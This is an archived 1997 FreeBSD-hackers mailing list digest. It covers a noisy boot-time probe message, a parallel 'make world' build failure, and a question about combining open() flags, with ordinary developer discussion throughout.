X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Sun, 12 Oct 1997 01:28:41 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca To: "Jordan K. Hubbard" cc: hackers@FreeBSD.ORG Subject: Re: fnord0: disabled, not probed. In-Reply-To: <12637.876627122@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 11 Oct 1997, Jordan K. Hubbard wrote: > So what do folks think, can I kill it? [he said already knowing that > at least one dissenting vote will come from bde, great champion of > chatty kernels that he is. ;-)] I'd say the "strong, silent type" makes a much better kernel. :) :) -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Sat Oct 11 23:13:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA01022 for hackers-outgoing; Sat, 11 Oct 1997 23:13:22 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from zippy.dyn.ml.org (korea-165.ppp.hooked.net [206.169.225.165]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA01013 for ; Sat, 11 Oct 1997 23:13:18 -0700 (PDT) (envelope-from garbanzo@hooked.net) Received: from localhost (garbanzo@localhost) by zippy.dyn.ml.org (8.8.7/8.8.7) with SMTP id XAA01336 for ; Sat, 11 Oct 1997 23:13:52 -0700 (PDT) X-Authentication-Warning: zippy.dyn.ml.org: garbanzo owned process doing -bs Date: Sat, 11 Oct 1997 23:13:52 -0700 (PDT) From: Alex X-Sender: garbanzo@zippy.dyn.ml.org To: hackers@freebsd.org Subject: make world bombs out?! Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk After following the threads on parallel buildworlds I decided to try it for myself. So I rm -rf'd /usr/obj (after chflags -R noschg /usr/obj), tweaked /etc/make.conf (uncommented the CFLAGS line, as -pipe looked like a good idea), and ran make -j2 world in /usr/src. Strangely enough it decided that it couldn't make /usr/obj/usr/src/usr.bin/make. After a few make cleans, and buildworlds, I found that leaving out the -j2 seems to allow it to build. What's the story here? Is there something else I'm missing? - alex From owner-freebsd-hackers Sat Oct 11 23:30:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA01728 for hackers-outgoing; Sat, 11 Oct 1997 23:30:18 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA01722 for ; Sat, 11 Oct 1997 23:30:14 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id XAA07949; Sat, 11 Oct 1997 23:25:38 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd007947; Sun Oct 12 06:25:29 1997 Date: Sat, 11 Oct 1997 23:24:16 -0700 (PDT) From: Julian Elischer To: mdean cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Is this a bug, or just a feature. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk OR the bits together.... you get O_RDWR or am I mis-remembering.. On Sat, 11 Oct 1997, mdean wrote: > > Shouldn't it be an error to call open("/dev/fd0", RD_ONLY|WR_ONLY,0)? > I guess if your device doesn't like being read-only and write-only then it > should look at oflags for itself? Or should this be caught at the syscall > and rejected? > > > From owner-freebsd-hackers Sat Oct 11 23:57:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA02908 for hackers-outgoing; Sat, 11 Oct 1997 23:57:12 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from innocence.interface-business.de (innocence.interface-business.de [193.101.57.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA02903 for ; Sat, 11 Oct 1997 23:57:09 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by innocence.interface-business.de (8.6.11/8.6.9) with UUCP id IAA15892 for hackers@FreeBSD.ORG; Sun, 12 Oct 1997 08:57:05 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA02298; Sun, 12 Oct 1997 08:52:00 +0200 (MET DST) Message-ID: <19971012085200.RM37350@uriah.heep.sax.de> Date: Sun, 12 Oct 1997 08:52:00 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: fnord0: disabled, not probed. References: <12637.876627122@time.cdrom.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <12637.876627122@time.cdrom.com>; from Jordan K. Hubbard on Oct 11, 1997 20:32:02 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Jordan K. Hubbard wrote: > If memory serves me correctly, I'm actually responsible for this > often-seen boot-time message and, if so, just let me be the first to > say that I've begun to hate the stupid thing. I've been hating it for a long time (mainly since it's scrolling the more interesting messages off the screen too quick), and was probably the first one asking in public whether this is really necessary. :) > So what do folks think, can I kill it? if (bootverbose) printf("...: disabled, not probed\n", ...); -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-)